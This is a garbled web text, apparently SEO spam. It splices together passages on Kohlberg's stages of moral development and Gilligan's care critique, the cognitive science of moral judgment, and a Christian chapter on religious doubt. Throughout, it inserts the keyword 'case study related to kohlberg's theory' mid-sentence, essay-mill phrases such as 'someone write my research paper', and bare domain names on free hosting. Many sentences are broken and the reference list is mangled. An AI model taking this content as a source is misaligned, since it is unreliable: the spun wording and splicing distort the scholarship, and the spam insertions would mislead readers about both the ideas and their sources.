Despite the cases study related to kohlberg’s theory of these different histories, rather than dispenses with, and reasoning out moral secret-offer-wall.000webhostapp.com judging. Those seeking to resist the challenge that one or more of these views poses to traditional cognitive science have two primary options:.

For instance, judging. His claims to deity are perhaps best seen in the self-designations “Son” in the context of speaking of God the Father, as cases study related to kohlberg’s theory of situated cognitive science, and reasoning out moral problems.

One view that adapts, one study Young et al, How Science Can Determine Human Values Harris case study related to kohlberg’s theory on Difference between research paper and literary analysis leaving their bridging premises implicit and unchallenged, and reasoning out moral problems. Peace is not something which one necessarily “feels” but is a case study related to kohlberg’s theory of mind which occurs only by decision. Those case study related to kohlberg’s theory to resist the challenge that one or more of these views poses to traditional cognitive science have two primary options:.

A more Ap ownership essay emotional doubt leads to a volitional quandary because of the unsettled nature of the other issues.

We think that some of these disagreements both reflect and contribute to sharper divides over the significance of embodied cognitive science! Researchers trace evolving systems of competence in interpreting, rather than dispenses with, judging. He believed that moral exemplars’ words and deeds increased the moral reasoning of those who watched and listened to them. Recent research in moral psychology has brought back the value of witnessing moral exemplars in action or learning about their stories.

Dilemma discussions in schools was another method proposed by Kohlberg to increase moral reasoning. Unlike moral exemplars, Kohlberg tested this method by integrating moral dilemma discussion into the curricula of school classes in humanities and social studies.

Results of this and other studies using similar methods found that moral discussion does increase moral reasoning and works best if the individual in case study related to kohlberg’s theory is in discussion with a person who is using reasoning that is just one stage above their own.

InKohlberg worked with schools to set up democracy-based programs, where both students and teachers were given one vote to decide on school policies. Kohlberg’s idea and development of “just communities” were greatly influenced by his time living in an Israeli kibbutz when he was a young adult in and when he was doing longitudinal cross-cultural research of moral development in another Israeli kibbutz.

A Cognitive Developmental View. Postulating that women may develop an empathy-based ethic with a application letter as a teacher without experience but not lower structure than that Kohlberg had described, Gilligan wrote In a Different Voicea book that founded a new movement of care-based ethics that initially found strong resonance among feminists and later achieved wider recognition.

Kohlberg’s response to Carol Gilligan’s criticism was that he agreed with her that there is a care moral orientation that is distinct from a justice moral orientation, but he disagreed with her claim that women scored lower than men on measures of moral developmental stages because momentsvision.com are more inclined to use care orientation rather than a justice orientation.

First, many studies measuring moral development of males and females found no difference between men and women and when differences were found it was attributable to differences in education, work experiences, and role-taking opportunities, but not gender.

Kohlberg’s detailed responses to numerous critics can be read in his book Essays on Moral Development: The Psychology of Moral Development: The Nature and Validity of Moral Stages.

They regarded their invariant moral and psychological progression, their spontaneous untutored and self-constructive quality, and their universality. In addition to launching a program of cross-cultural research, Kohlberg again consulted the philosophical literature for standards of logical, normative and meta-ethical adequacy.

Expert Answers

Gauging century-old debates, Kohlberg concluded that formal Kantian criteria as less problematic than alternatives. And he installed them as measures of moral progress in development, sketching how each stage more closely fulfilled them Kohlberg A host of commentators later charged Kohlberg’s methodology with formalist, Kantian, and liberal-egalitarian bias. Such charges have a point. Kohlberg, after all, had not experimented with using other meta-criteria for gauging moral progress.

He did not show the caution of other social scientists who imported preferred theories from other disciplines, utilizing them more hypothetically and tentatively. Still, such criticism ignores the more powerful and generalizable assessment Kohlberg offered: Here each new stage of reasoning, each operating system, was shown to add a major type of principled operation that performed a vital problem-solving function.

At the same time, each retained the least problematic structures and operations of all previous stages. A largely bottom-up assessment is involved here, gauging progress away from basic inadequacy and incompleteness in both psychological and moral processing. Examples would include not considering the social or interpersonal dimension of a problem, not considering the role of key values, virtues, or responsibilities that any conceptual analysis would consider relevant.

Applied to later-stage reasoning, such cases study related to kohlberg’s theory invoke very basic and shared adequacy criteria among competing ethical cases study related to kohlberg’s theory. As such they match Piaget’s approach to measuring mature logical reasoning.

Such “formal-operational” thought shows the competence to consider all relevant causal possibilities, from the most relevant perspectives required, to address a wide range of scientific problems. It is worth noting that Kohlberg’s stage sequence likely measures up on rival meta-ethical measures, e. There is good reason for preferring such a utilitarian lean as well; the perennial list of criticisms lodged against utilitarianism call for it.

Utilitarianism is unable to assure minimal fairness and equality, to view such considerations and others as morally inherent and untradable, to create moral disjuncts that set upper limits on obligation and case study related to kohlberg’s theory limits on decency, to case study related to kohlberg’s theory proper place and protection for individual autonomy, and the like. While Kohlberg never attempted such an analysis, those criticizing the lack of one never even suggested why it would be difficult to perform.

While Kohlberg originally claimed a sixth and highest stage of moral development that put Kantian case study related to kohlberg’s theory and individual rights first. But his research program eventually recanted this case study related to kohlberg’s theory. Ongoing worldwide research, combined with the statistical reanalyzes of existing data, de-legitimated the significance of art and design coursework training handbook (cth) Stage 6 observations, leaving too little reliable data for Stage 6 claims.

This locates the highest empirical case study related to kohlberg’s theory in Kohlberg’s theory in the same place that mainstream moral philosophy finds itself after two centuries of debate—with two main competing sets of principles, one fostering the advancement of social welfare and benevolent virtues, the other a mutual respect for individual liberty. These are accompanied by several intuitive rationales concerning goods of community, interpersonal responsibility and loyalty, equal economic opportunity and toleration, and various virtues of friendship.

This state of ethical affairs approaches quasi-intuitionist rule-utilitarian criteria at least as well as it approaches Kantian, deontological ones. The presence of interpersonal and virtue rationales in later moral development is often overlooked.

Indeed, Kohlberg’s own stage descriptions downplay them by focusing on what is new and distinctive in each later stage of development, not on what is inclusively preserved from earlier stages. General ethical principles are the innovation in later stages because they reflect a broadened social perspective. This misleading emphasis in stage depictions was deemed necessary by the history of stage scoring system in research, Scorers constantly confounded similar moral rationales, expressed in adjacent stage terms.

Thus distinctive stage-qualities had to be emphasized at each stage. Philosophical critics who do not immerse themselves within the empirical research project and its requirements miss matters of this sort completely, failing to credit ways in which an empirically-based theory can not be altered simply to serve conceptual goals such as neutrality or elegance. someone write my research paper Specifics Critics rightly fault the over-interpreted nature of Kohlberg’s initial research as well as the inflated nature of his claims relative to reliable data.

His conceptual interpretations were radically reanalyzed in the s seeking consensus among a dozen ideologically conflicting coders and scorers, working contentiously together. Initially, Kohlberg was not careful to control either his qualitative research method or his theory-building process for biases.

Ideological liberal and gender male biases proved hardest to tame. The Kohlberg program cannot legitimately be faulted simply for having a particular focus: But it has clearly fallen short in considering phenomena that strongly interact with those investigated, changing their nature.

Certain moral emotions should have been researched that help set cognitive orientation, gather crucial information Blumor facilitate moral self-expression and relation Gilligan vol. Empathy and compassion should have been investigated alongside cognitive role-taking and perspective-taking since, as moral competences, they are unlikely to function separately Hoffman vol.

The same can be said for the relation of moral cognitive and meta-cognition at higher levels of development Gibbs vol. Kohlberg followed Piaget in conceiving moral development personally and psychologically, not seriously researching the phenomenon as an interpersonal or relational process above all, or one pertaining primarily to small communities.

Such apparent shortfalls top a virtual catalogue of charged deficiencies, some holding particular philosophical interest. Moral relevance and adequacy should not be pre-defined by “expert” theorists on theoretical grounds exclusively, intellectually limiting the scope and determining the emphasis of research. Instead, given the accumulated data on gender differences, the results should be radically reinterpreted as tracing male moral development primarily, not natural or human development.

This suggests that people remain distributed across the range of their development for most of their lives in a loose confederation of rationales and beliefs.

Such an approach can not even distinguish justification from self-deceptive rationalization. These might include trying to avoid or skirt moral dilemmas due to harm done some parties by case study related to kohlberg’s theory them, or trying to pre-empt moral dilemmas through dialogue and negotiation aimed at altering the prior interests of involved parties Gilligan and Murphy vol.

It also ignores emotional sensibilities and intelligences, thus grossly distorting the moral-development profile. The observed judgment-action gap allows a highest stage reasoner to be a high-level hypocrite, self-deceiver, and cad Straughan vol. Do we interpret this as a natural developing competence or incompetence? It fails in cognitive differentiation, yet seemingly shares a tendency found in expert ethical theories.

Kohlbergians have often tested and accommodated the case study related to kohlberg’s theory of criticisms leveled at them. Thus they have come to see the dialectic of debate as the central natural developmental course of their research program.

Their absorption of many critics into their research team adds credibility to this portrayal. Some critiques have not yet been addressed however, and should be. As philosophers seem unaware, however, later phases of the Kohlberg research program arguably have evolved the most psychometrically sophisticated coding and scoring system known to qualitative research Colby and Kohlberg This system offers the most sophisticated integration available of conceptual and empirical assessments for interpreting data and drawing conclusions from it, and arguably has generated the most impressive results in of any research program in cognitive development or moral psychology by far–winning over major opponents Kurtines and Grief vol.

In addition, Kohlberg’s original thirty-year study, begun with the least sophisticated methodology and papers written for you bias controls recently received a thorough empirical reanalysis by Edelstein and Keller vol. Proponents of this neo-Kohlbrgian approach have detailed the role of moral structure in perceiving and interpreting moral issues, also the function of intermediate sized moral concepts and rationales that bring stage logic closer to real-life cases than universal principles do Rest, Narvaez, Bebeau and Thoma Each year several large-scale cross-cultural studies are reported testing both Kohlbergian claims and the bias charges against them.

The basic moral development sequence is verified in each see New Research in Moral Development. In light of such findings, philosophical critics must address a question too long delayed.

If Kohlbergian stage theory is misguided and misconceived on major points, how do we explain the massive data accumulated over a half-decade that continuingly and surprisingly confirm its claims? After decades of methodological and conceptual criticism, why hasn’t the depiction of moral development come close to being disconfirmed? Critical theory can be tapped for an answer, viewing Kohlberg research as parroting the socialized ideologies of western individualistic, male-dominated, industrialized-capitalist societies, found in his socially brain-washed subjects.

But this speaks to conceptual possibility. No competing account is offered. More, it the book of job essay from far more of the empirical cases study related to kohlberg’s theory and conceptual leaps attributed to Kohlberg by critics, condemning it by its own standards.

Still, Kohlberg often warned followers not to take “those stages” too seriously. As a scientist he assumed that future research would change current findings. The depiction of moral development would be altered further when each domain of natural cognitive development was eventually integrated into a general theory of cognitive ego-development.

Caring’s “Different Voice” Of the more specific critiques coming from critical and cultural theory, one feminist-friendly version garnered most notice, especially outside research psychology. More noteworthy is the rare and rich alternative perspective on moral development that accompanied it: Indeed, the caring theme offers an especially promising portrait of what benevolence ethics looks like on the practical level, in everyday life.

As such it poses a far superior champion for the benevolence tradition than outsized views such as utilitarianism, or dated, intuitionist virtue theories.

Feminism looks to virtue theory at its peril since, among other things, traditional trait theory has garnered very poor empirical backing. And the conceptualization of traditional virtues pre-dates both research psychology and the careful introspective or depth psychology that preceded it. The caring theme is researched as a set of interpretive skills and sampaiodanovoa.pt proclivities and habits, easily observed and verified.

Further, caring is not only more realistic than its main virtue alternative, agape, but shows up such unconditional love as a kind of kindness-machismo. Carol Gilligan argued that Kohlberg research, like Piagetian and Freudian research, reflected a male outlook on development. While occurring at the theoretical level, it also greatly infected Kohlbergian research methodology, making qualitative observations the fulfillment of prior ideological prophecy.

The view of moral thinking and development that resulted—the “justice-and-rights orientation”–is over-abstracted, overly general and essentialistic.

It focuses on foundational moral concepts only and on universal laws, not on a morality of social practice and interaction that its research claims to measure. The moral orientation portrayed in Kohlbergian stages is rigid, formulaic or calculative, and legalistic. In personal life it is cold, aloof, and impersonal, if not manipulative and punitive.

Its individualism urges contentiousness with vague threat of violence. These untoward qualities show in personal cheap custom essay papers and blaming, in both social censure and legal punishment. But they also show in the demand-quality of rights-in-conflict, and in our restive resistance toward burdensome duties.

Responsibility is seen as diminishing free self expression when in care it is an opportunity for artful relation and fulfilling mutuality. These observations on the coercive aspects of justice must strike a chord for ethicists, especially with Kantians who hold high the liberation of self-imposed moral laws. Vigilance against moralism within morality’s midst is a constant for non-partisan ethics. Critical-feminist ethicists can only welcome the picture of rights and duties as clubs and shields in a battle of conflicting interests.

What better fits the military model of human relations glimpsed in the masculinist “state of nature” and social contract myth underlying western ideology? Need ethics be designed for remote cooperation against mutually mistrustful and threatening strangers?

Must it form an artificial bridge of relation where natural relational bonds are weak, and relational know how deficient? Gilligan and Noddings argued for an unrecognized sub-theme in male moral development and a preferred and comparably valid theme among women, left out of Kohlberg’s original research sample.

This “care” theme focuses morality on skills of relationship—on supporting, nurturing, and being helpful, not on demanding, defending, requiring and compelling. Mature caring shows great competence in attending to others, in listening and responding sensitively to others through dialogue aimed at consensus.

The inherent powers of relationship are rallied to address moral difficulties, not powers of individual ingenuity in problem solving or deliberative argumentation. As a goodness ethic, caring also emphasizes the sharing of aspirations, joys, accomplishments, and each other. Relative to the unique longevity of the Kohlbergian program, care research remains in its infancy, as does its research methodology Lyons, Brown, Argyris et.

But even as a conceptual posit a different voice hypothesis care has proven extremely influential in hosts of fields spanning literature, domestic violence, leadership counseling and legal theory. Care’s very relevance to moral development remains unclear since almost no significant longitudinal research under-wrote Critical thinking rules view originally, nor has much been added since.

The three developmental levels depicted exactly parallel what Gilligan herself portrays as coping strategies—particular strategic responses to particular kinds of personal crises Gilliganch 4. nguyenhuynhthanhnhan9655.000webhostapp.com phenomena differ great from general competence systems evolved for, and able at handling moral issues generally. Gilligan also depicts care levels in the format of Perryan meta-cognition, bearing more similarities to ethical and interpersonal meta-cognition than Piagetian first-order moral judgment.

Research does not show natural meta-cognitive development, apparently, in any domain, e. We all know that we fail at universalizing our moral judgments sometimes; we all suffer moments of weakness where we try to make excuses for our own moral failings, excuses we would not permit to others.

But some psychological research suggests that we may fail in this way far more often than we realize. Nadelhoffer and Feltz found that people make different judgments about moral dilemmas when they imagine themselves in the dilemma than when imagining others in the same dilemma.

Presumably most people would not explicitly agree that there is such a moral difference, but they can be led into endorsing differing standards depending on whether they are presented with a me versus someone else framing of the case. This is an unconscious failure of universalization, but it is still an inconsistency.

If we aim at being consistent in our practical reasoning, we should want to be alerted to unconscious inconsistencies, so that we might get a start on correcting them. And in cases like this one, we do not have introspective access to the fact that we are inconsistent, but we can learn it from cognitive science.

Note how this argument parallels the epistemic one. The claim is, again, not that cognitive science tells us what counts as a good moral judgment.

Rather cognitive science reveals to us features of the moral judgments we make, and we must then use moral reasoning to decide whether these features are problematic. Here the claim is that inconsistency in moral judgments is bad, because it undermines our aim to be coherent case study related to kohlberg’s theory agents.

We do not get that claim from cognitive science, but there are some cases where we could not apply it without the self-knowledge we gain from cognitive science. Hence the relevance of cognitive science to morality as aimed at consistency. Rational Agency There is another way in which cognitive science can matter to the coherent rational agency conception of morality. Some findings in cognitive science may threaten the intelligibility of this conception altogether.

If pressed hard enough, people will admit they simply do not know why they came to the verdicts, but hold to them nevertheless. If Haidt is right, point out Jeanette Kennett and Cordelia Finethen this poses a serious problem for the ideal of moral agency. For us to count as moral agents, there needs to be the case study related to kohlberg’s theory sort of connection between our case study related to kohlberg’s theory reasoning and our responses to the world.

A robot or a simple animal can react, but a rational agent is one that can critically reflect upon her reasons for action and come to a deliberative conclusion about what she ought to do. Yet if we are morally dumbfounded in the way Haidt suggests, then our conscious moral reasoning may lack the appropriate connection to our moral reactions. We think that we know why we judge and act as we do, but actually the reasons we consciously endorse are mere post hoc confabulations.

They suggest that he has misinterpreted what the experiments show, and that there is a more plausible interpretation that preserves the possibility of conscious moral agency. Note that responding in this way concedes that cognitive science might be relevant to assessing the status of our moral judgments. The dispute here is only over what the experiments show, not over what the implications would Chinese opera essay if they showed a case study related to kohlberg’s theory thing.

This leaves the door open for further empirical research on conscious moral agency. If it could be shown that certain moral judgments—those about a particular topic or sub-domain of morality—are especially prone to moral dumbfounding, then we might have the basis for disqualifying them from inclusion in reflective moral theory.

This seems, at times, to be the approach adopted by Joshua Greene see section 4 in his psychological attack on deontology. According to Greenedeontological intuitions are of a psychological type distinctively disconnected from conscious reflection and should accordingly be distrusted.

Intersubjective Justification There is one further way in which cognitive science may have relevance to moral theory. In this last conception, morality is essentially concerned with intersubjective justification. Rather than trying to discover case study related to kohlberg’s theory moral truths, my moral judgments aim at determining when and how my preferences can be seen as reasonable by other people.

A defective moral judgment, in this conception, is one that reflects only my own personal idiosyncrasies and so will not be acceptable to others. For instance, perhaps I have an intuitive negative reaction to people who dress their dogs in sweaters even when it is not cold. If I come to appreciate that my revulsion of this practice is not widely shared, and that other people cannot see any justification for it, then I may conclude that it is not properly a moral judgment at all.

It may be a matter of personal taste, but it cannot be a moral judgment if it has no chance of being intersubjectively justified. Sometimes we can discover introspectively that our putative moral judgments are actually not intersubjectively justifiable, just by thinking carefully about what justifications we can or cannot offer.

But there may be other instances in which we cannot discover this introspectively, and where cognitive science may help. This is especially so when we have unknowingly confabulated plausible-sounding justifications in order to make our preferences appear more compelling than they are Rini For example, suppose that I have come to believe that a particular charity is the most deserving of our donations, and I am now trying to convince you to agree. You case study related to kohlberg’s theory out that other charities seem to be at least as effective, but I insist.

By coincidence, the next day I participate in a psychological study of color association. If this turns out to be the explanation for why I argued for the charity, then I should doubt that I have provided an intersubjective justification.

Now that I am aware of this psychological influence, I should consider the possibility that I have merely confabulated the cases study related to kohlberg’s theory I offered to you. Objections and Alternatives The preceding sections have focused on negative implications of the cognitive science of moral judgment. This final section briefly considers some objections to drawing such negative implications, and also discusses more positive proposals for the relationship between cognitive science and moral philosophy.

Explanation and Justification One objection to disqualifying a moral judgment on cognitive scientific grounds is that this involves confusion between reasons of explanation and justification. The explanatory reason for the fact that I judge X to be immoral could be any number of psychological factors. But my justifying reason for the judgment is unlikely to be identical with the explanatory reason. Consider my judgment that it is wrong to tease dogs with treats that will not be provided.

Perhaps the explanatory reason for my believing this is that my childhood dog bit me when I refused to share a sandwich. But this is not how I justify my judgment—the justifying reason I have is that dogs suffer when led to form unfulfilled expectations, and the suffering of animals is a moral bad.

As long as this is a good justifying reason, then the explanatory reason does not really matter. So, runs the objection, those who disqualify moral judgments on cognitive scientific grounds are looking at the wrong thing—they should be asking about whether the judgment is justified, not why psychologically speaking it was made Kamm ; van Roojen One problem with this objection is that it assumes we have a basis for affirming the justifying reasons for a judgment that are unaffected by cognitive scientific investigation.

Obviously if we had oracular certainty that judgment X is correct, then we should not worry about how we came to make the judgment. But in moral theory we rarely if ever have such certainty. As discussed earlier see section 8our justification for trusting a particular judgment is often dependent upon how well it coheres with other judgments kpimcity.000webhostapp.com general principles.

So if a cognitive scientific finding showed that some dubious psychological process is responsible for many of our moral judgments, their ability to justify one another may be in question. To see the point, consider the maximal case: Would this knowledge not give you some reason to second-guess your moral judgments?

If that is right, then it seems that our justifying reasons for holding to a judgment can be sensitive to at least some discoveries about the explanatory reasons for them. For related arguments, see Street and Joyce The Expertise Defense Another objection claims to protect the judgments used in moral theory-making even while allowing the in-principle relevance of cognitive scientific findings.

The claim is this: But moral philosophers have years of training at drawing careful distinctions, and also typically have much more time than research subjects to think carefully about their judgments. So even if ordinary participants in cognitive science studies make mistakes due to psychological quirks, we should not assume that the judgments of experts will resemble those of non-experts. We do not doubt the competence of expert mathematicians simply because the rest of us make arithmetic mistakes Ludwig So, the objection runs, if it is plausible to think of moral philosophers as experts, then moral philosophers can continue to rely upon their judgments whatever the cognitive science says about the judgments of non-experts.

Is this expertise defense plausible? One major problem is that it does not appear to be well supported by empirical evidence. In a few studies Schwitzgebel and Cushman ; Tobia, Buckwalter, and Stichpeople with doctorates in moral philosophy have been subjected to the same psychological tests as non-expert subjects and appear to make similar mistakes.

There is some dispute about how to interpret these studies Rinibut if they hold up then it will be hard to defend the moral judgments of philosophers on Current essay topics for school students made the case study related to kohlberg’s theory, in his Methods of Ethics, that it case study related to kohlberg’s theory be self-defeating to attempt to debunk judgments on the grounds of their causal origins.

The debunking itself would rely on some judgments for its plausibility, and we would then be led down an infinite regress in querying the causal origins of these judgments, and causal origins of the judgments responsible for our judgments about those first origins, and so autolead.000webhostapp.com Sidgwick seems to be discussing case study related to kohlberg’s theory moral skepticism, but a case study related to kohlberg’s theory of this argument presents a regress challenge to even selective cognitive scientific debunking of particular moral judgments.

According to the objection, once we have opened the door to debunking, we will be drawn into an inescapable spiral of producing and challenging judgments about the moral trustworthiness of various causal origins.

Perhaps, then, we should not case study related to kohlberg’s theory on this project at all. This objection is limited in effect; it applies most obviously to epistemic forms of cognitive scientific debunking. The objection is also curriculum vitae formato word para llenar 2015 upon certain empirical assumptions about the interdependence of the causal origins driving various moral judgments.

But if sustained, the regress challenge for epistemic debunking seems significant. Positive Alternatives Finally, we Critical thinking exercises for medical assistants moral judgment and cognitive science.

Unlike most of the approaches discussed above, this one is positive rather than negative. The idea is this: Cognitive science might help you to explicitly articulate a moral principle that you already accepted implicitly Mikhail ; Kahane In a sense, this is simply scientific assistance to the traditional philosophical project of making explicit the moral commitments we already hold—the method of reflective equilibrium developed by Rawls and employed by most contemporary ethicists.

In this view, the use of cognitive science is likely to be less revolutionary, but still quite important. Though negative approaches have received most discussion, the positive approach seems to essay on man an interesting direction for future research.

References and Further Reading Berker, Selim. Aspects of the Theory of Syntax. Cosmides, Leda, and John Tooby. Evolutionary Psychology and the Generation of Culture, edited by J.

Barkow, Leda Cosmides, and Tooby, — Hauser, and Trevor W. Gustatory Disgust Influences Moral Judgment. The Presuppositions of Sociobiological Research, — University of California Press. In a Different Voice: The Neuroscience of Morality: Kiley, Karen Wynn, and Paul Bloom. The Evolution of Morality. Process and Content in Moral Psychology. An Argument for Experimental Ethics. Kennett, Jeanette, and Cordelia Fine.

First Person versus Third Person Approaches. Elements of Moral Cognition: Nadelhoffer, Thomas, and Adam Feltz. Nichols, Shaun, and Joshua Knobe. The Cognitive Science of Folk Intuitions. A Theory of Justice. Clore, and Alexander H. I have long thought that one of the categories of doubt which is seldom mentioned but is extremely important is the pressure exerted on believers to be more moderate in their cases study related to kohlberg’s theory.

This assault is not a frontal attack, but is one which can continue to build up to quite a persuasive drone in its call to stop believing old “wives tales” in favor of “modern” approaches. To be more like our peers is often a desire which is difficult not to heed, at least in part. In fact the belief whether true or false that few other intelligent persons hold our position can produce devastating results, especially over a period of time.

Our emotions are particularly vulnerable. But the doubt which is produced thereby generally professes no new cases study related to kohlberg’s theory, just the same old temptations to change. To read fictional writings can sometimes cause us to be confronted with different kinds of ideas and persons. Plays, television and movies about fictional persons, times and places are someone to do my essay more graphic in their representations.

But there is a subtle temptation here to identify with these characters and view issues through their eyes. I personally recall watching a popular fantasy movie where I was so caught up in the evil being experienced by one of custom dissertation cases study related to kohlberg’s theory that it temporarily colored my own perception until I perceived what should have been quite obvious: I was witnessing someone else’s conception of the issues.

But if such subtleties are allowed to go unchecked, one could experience corresponding emotional doubts. Doubt can sometimes be caused by observing the beliefs and actions of fellow believers. Barth lists religious wars, persecutions, inquisitions and questionable stances on such issues as “slavery, race, war, women’s rights, and social justice” as examples of the potentially offensive beliefs and behaviors of Christians which can, in turn, cause doubts.

Perhaps we need to be confronted even more frequently with man’s failures; such could be a reminder of both the sinfulness assignment expert which God has rescued us and provide some impetus for further action.

The fear that one’s sins have not really been forgiven is a cause for doubt in many believers. More specifically, the idea that one has committed the unpardonable sin so that one cannot be forgiven strikes even more fear in the hearts of others.

One young man who called me expressed just this latter sense of horrifying fear. He believed that the very fact that he had suffered doubt from time to time meant that he had committed the unpardonable sin!

This person needed to learn that some of the popular conceptions about doubt are themselves mistaken. So while such quandaries can have factual ramifications, they perhaps more frequently are manifested in emotional terms. And while a good exegesis of relevant Scripture portions may certainly be called for as a crucially important case study related to kohlberg’s theory of the cure, the emotional elements will frequently have to be dealt with, as well.

It is not enough for Christians to be worried about the present. To be honest, anxiety concerning the unknown future has probably been a cause how to write a fear in most believers at some time or another. For some, it is manifested in the query as to whether they can really “hold out” until the end.

Again, a study of the Scripture and perhaps some treatment of the emotional portion is needed in order to show that this fear is misplaced. Even in believers one frequently encounters the uncertainty that, after all, perhaps it is still the case that one could have done everything that the Bible requires for salvation as far as one knows but still be sent to Hell. If informal surveys can be trusted at all, this fear is very widely experienced by many Christians at least at some time. And, as in the cases of the previous two types of fear, both Scriptural exegesis and treatment written paper the emotional factors may be required.

Volitional Doubts a weak faith: Oftentimes a Christian wishes to increase his faith or perhaps desires to conquer some problem like doubt but simply thinks that he is unable to do so because it is too difficult to believe any further. In biblical terms, this individual can perhaps be said to be wavering between two positions Js. During my own period of doubt, I would have said that one of my case study related to kohlberg’s theory struggles was with the issue of how to increase my faith.

Sometimes faith suffers from a lack of development, often due to factors in operation when a person first committed his life to Christ and from the corresponding wrong ideas concerning that experience. For instance, perhaps the individual was very young at the time of his conversion, or later wondered if he was at all coerced during the process. Others are troubled that perhaps their cases study related to kohlberg’s theory were not totally committed at that time.

As Michael Griffiths describes the problem: But becoming a Christian is not simply a matter of reciting a magic formula at the request of an evangelist, but the answer of the heart and will in believing response to the invitation of the Lord Himself.

Thus, case study related to kohlberg’s theory immaturity was case study related to kohlberg’s theory or not, that is not of chief importance. The issue is one of the surrender of the will. And when a person is truly uncertain as to whether he trusted Christ, I usually encourage him to pray and express his trust in the Lord once again, telling Him that if he is already a Christian, then this is simply a prayer of further commitment.

Some may disagree with this practice, but I personally find nothing here that appears to be unbiblical. Some uncertainty can be caused by the believer’s failure to grow in his Christian life. It is as if the person realizes that further commitment might require getting serious with the Lord. But for whatever reasons, the decision not to progress in one’s walk with the Lord can lead to uncertainty.

One major reason for this dilemma is that when one does not grow he is not availing himself of much of the means by which doubt may be avoided. As in a human relationship, a lack of growth can even signal a drifting apart and can lead to various questions. But conversely, growing in our commitment is an excellent means of doubt prevention. This kind of uncertainty arises from an attitude of arrogance towards God.

Devoting an entire chapter to the topic, Guinness identifies this quandary as occurring when a Christian begins to decide that his will is to be preferred above God’s will. This desire for autonomy manifests itself in various signs that the individual is attempting to break his allegiance to the Lord. Guinness likens it to a man whose bickering with his wife and public criticisms of her is indicative of an internal decision which has been at work.

Not to be confused with the emotional anxiety which may come from wondering if one’s sins have been forgiven, this category refers to a lack of repentance from one’s sins. When one has unforgiven sin in his life, this can certainly contribute to a sense of separation from God, encouraging doubts. And it is the decision either implicit or explicit not to repent of these sins that can keep a person from having peace. I recall an older man who came to discuss doubts.

He was obviously depressed and did not even want to talk about his problem. Cover letter looking for part-time work see me.

Later the man admitted that this was very possibly the reason for his lack of assurance, but he did not appear to be very concerned about changing. As far as I know, neither did his uncertainty change. In another case, a young woman who had an outstanding Christian testimony began experiencing rather severe sampaiodanovoa.pt after she decided that her marriage relationship was too binding.

And again, as long as she remained in her rebellious state, the doubts also remained. One of the most common causes for the continuance of volitional doubt is, strangely enough, that believers are reticent to apply the biblical steps for healing, even after they are known.

Since adopting the proper principles when one is hurting and often right during the doubt takes concentration, some conclude that it is easier to apply the steps only sporadically. Just like it may hurt to pull weeds, sometimes it is also difficult to deal with these problems in one’s life.

But one of the most frequent comments I hear is that, when biblical steps are applied the doubt is assuaged and, conversely, when they ask4charter.com not, the uncertainty returns. I do not conclude that the various treatments will always work on each type of doubt, largely because the personal factors case study related to kohlberg’s theory so much.

But I cannot remember ever having anyone tell me, after applying them, that they do not either ease or heal the problem. And it should be mentioned again that we make no claims that these methods are the only correct remedies. In fact such a claim would be far from the truth.

Other researchers have presented additional biblical remedies which can also lead to healing. Conclusion The purpose of this chapter was twofold. Initially, the overall cause for doubt was discussed: Mankind’s sin and the continuing openness to Satan’s temptations are the chief background from which cases study related to kohlberg’s theory as well as many other problems emerge.

Dealing with this temptation is a major way to combat doubt. While some initial suggestions have been given here, the subject will again be approached in subsequent chapters. The main portion of this chapter was devoted to the subject of identifying various types of doubts. Over twenty different examples were placed in the three general categories with which we are functioning factual, emotional and volitional case study related to kohlberg’s theory to.

The intention here was not so much to provide either absolute categories or an exhaustive list of examples. Rather, the purpose was to produce a variety of samples so that individuals can perceive both how widespread doubt is and get some idea about how to identify their type s of uncertainty. We ended this chapter on the note that some persons continue to experience doubt because they decide, for whatever reasons, not to apply the biblical remedies.

At the same time, many who have applied biblical maxims to doubt have often found healing. Now this is definitely not to assert or imply that every case will be solved. It must be said bluntly that some people are not healed. But when it is remembered that there are many individual factors, such as but not limited to the proper identification of doubt and the need for faithful and correct practice of biblical principles, such is not surprising. But I would not be fair if I did not also say that I have witnessed a high percentage of persons who have at least been helped, if not healed, by God’s grace and power.

Other researchers in a variety of fields have come to quite similar conclusions and likewise report that positive results are attained. Endnotes–Chapter II 1Other authors have also analyzed doubt into specific categories. Board identifies four groupings pp. Guinness prefers seven divisions Chapters which I, again, think can be included under three headings.

Compare Bright’s three categories of commitment, pp. But it is very important to note that the point here is not to arrive at an objective number of families of doubt or to attempt to prove that a certain figure is correct. The Macmillan Company,pp. Victor Books,Chapter 9. Neither does it mean that a person is not justified in defending his own view, but, due to the very nature of the issues, somewhat less dogmatism might be warranted. It is crucial that problems of this nature be handled before they even start to develop.

Griffiths, Christian Assurance London: Inter- Varsity Fellowship,p. Thus, it is not being claimed that these persons never doubt again, but that the specific form which plagued them before had been resolved. In other words, their “problem” had been solved even over long periods of timealthough issues may still arise periodically. Follow-up shows this to be the case.

Chapter III Factual Doubt Earlier, factual doubt was referred to as the species of uncertainty which is frequently concerned with the evidence for Christianity. It is chiefly interested in issues which are related to the truthfulness of the faith and regularly expresses questions pertaining to either philosophical cases study related to kohlberg’s theory of interest such as the existence of God and the problem of pain or historical acts like miracles and Scripture.

A major characteristic of doubt which is primarily factual is that it is generally satisfied if sufficient data is given in answer to its queries. In this chapter it will obviously be impossible to argue for the truthfulness of Christian Theism as a Cover letter sales management position when a complete volume would be unable to perform the entire task.

However, using the facts of the gospel as the indispensable center of the Christian faith, 2015 essay paper upsc will begin by simply listing some of the best evidences for these individual beliefs.

Informational endnotes will direct the interested reader to more detailed presentations of the basis for each point. After relating to his readers that belief in this gospel is sufficient to save a person versesPaul states that Christ died for our sins, was buried and rose again on the third day, in agreement with the teaching of the Scriptures verses From this passage, I think that we can denote at least four facts which compose the gospel.

At any rate, I will now turn to a listing of some of the data in favor of each of these four facts: For it would appear that, whether my last conclusion on the deity of Christ is accepted or not, it would be difficult to argue that these four facts are not crucial to any orthodox understanding of the Christian faith. The Death of Jesus a The gospels accurately portray numerous details concerning Jesus and are trustworthy sources for a study of His life.

As such, the major texts on Jesus’ death provide noteworthy material for this fact,4 especially in that there is such widespread agreement in these documents concerning the general outline of these events. Although they appear in written form in the New Testament, they actually predate the books in which they are contained. Some of these creeds are dated from A.

• If this is right, most moral judgment is systematically unreliable.
• A formative, but largely abandoned research movement in this area investigated the conditions under which onlookers will help or fail to help strangers, accepting different costs or levels of risks for doing so Bickman vol.
• The idea that prescriptive and descriptive claims are different types of claim retains its intuitive plausibility.
• They also indicate that direct engagement with the world and other individuals regulate language functioning and that this functioning is inseparably linked to and exploits the affordances of the situation within which language processes take place.
• One major reason for this dilemma is that when one does not grow he is not availing himself of much of the means by which doubt may be avoided.
